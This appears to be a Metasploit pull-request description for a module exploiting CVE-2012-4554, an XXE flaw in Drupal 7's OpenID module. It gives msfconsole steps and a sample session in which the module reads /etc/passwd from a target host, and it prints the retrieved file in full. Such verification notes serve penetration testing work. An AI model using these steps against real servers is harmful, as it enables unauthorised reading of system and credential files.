Add module for CVE-2012-4554

Abuses CVE-2012-4554, the XXE found on the Drupal OpenID code.

Verification
----------

* Install Drupal 7 <= 7.15

* As Drupal Admin, enable the OpenID module (**It's disabled by default**)

* Run msfconsole and ```use auxiliary/gather/drupal_openid_xxe```

* ```set RHOST <target_ip>```

* ```set TARGETURI <drupal_base_dir>```

* run ```check```, VERIFY which the service is detected as running.

```
msf > use auxiliary/gather/drupal_openid_xxe 
msf auxiliary(drupal_openid_xxe) > set RHOST 192.168.172.134
RHOST => 192.168.172.134
msf auxiliary(drupal_openid_xxe) > set TARGETURI /drupal-7.2/
TARGETURI => /drupal-7.2/
msf auxiliary(drupal_openid_xxe) > check
[*] The target service is running, but could not be validated.
msf auxiliary(drupal_openid_xxe) > 
```

* set FILEPATH <remote_file>  (tries to retrieve /etc/passwd) by default

* ```run```, VERIFY which is able to retriev and store the remote file:

```
msf auxiliary(drupal_openid_xxe) > run

[*] Using URL: http://0.0.0.0:8080/ZDeUVWyl
[*]  Local IP: http://10.6.0.165:8080/ZDeUVWyl
[*] Server started.
[*] 10.6.0.165       drupal_openid_xxe - Sending XRDS...
[*] 192.168.172.134:80 - Searching loot on the Drupal answer...
[+] 192.168.172.134:80 - File found and saved to path: /Users/juan/.msf4/loot/20140123193915_default_192.168.172.134_drupal.file_918176.txt
[*] Server stopped.
[*] Auxiliary module execution completed
```

* Verify the file contents:

```
msf auxiliary(drupal_openid_xxe) > cat /Users/juan/.msf4/loot/20140123193915_default_192.168.172.134_drupal.file_918176.txt
[*] exec: cat /Users/juan/.msf4/loot/20140123193915_default_192.168.172.134_drupal.file_918176.txt

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
avahi-autoipd:x:103:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:104:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
speech-dispatcher:x:106:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
usbmux:x:107:46:usbmux daemon,,,:/home/usbmux:/bin/false
haldaemon:x:108:114:Hardware abstraction layer,,,:/var/run/hald:/bin/false
kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:110:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:111:117:RealtimeKit,,,:/proc:/bin/false
saned:x:112:118::/home/saned:/bin/false
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
gdm:x:114:120:Gnome Display Manager:/var/lib/gdm:/bin/false
mysql:x:115:123:MySQL Server,,,:/var/lib/mysql:/bin/false
```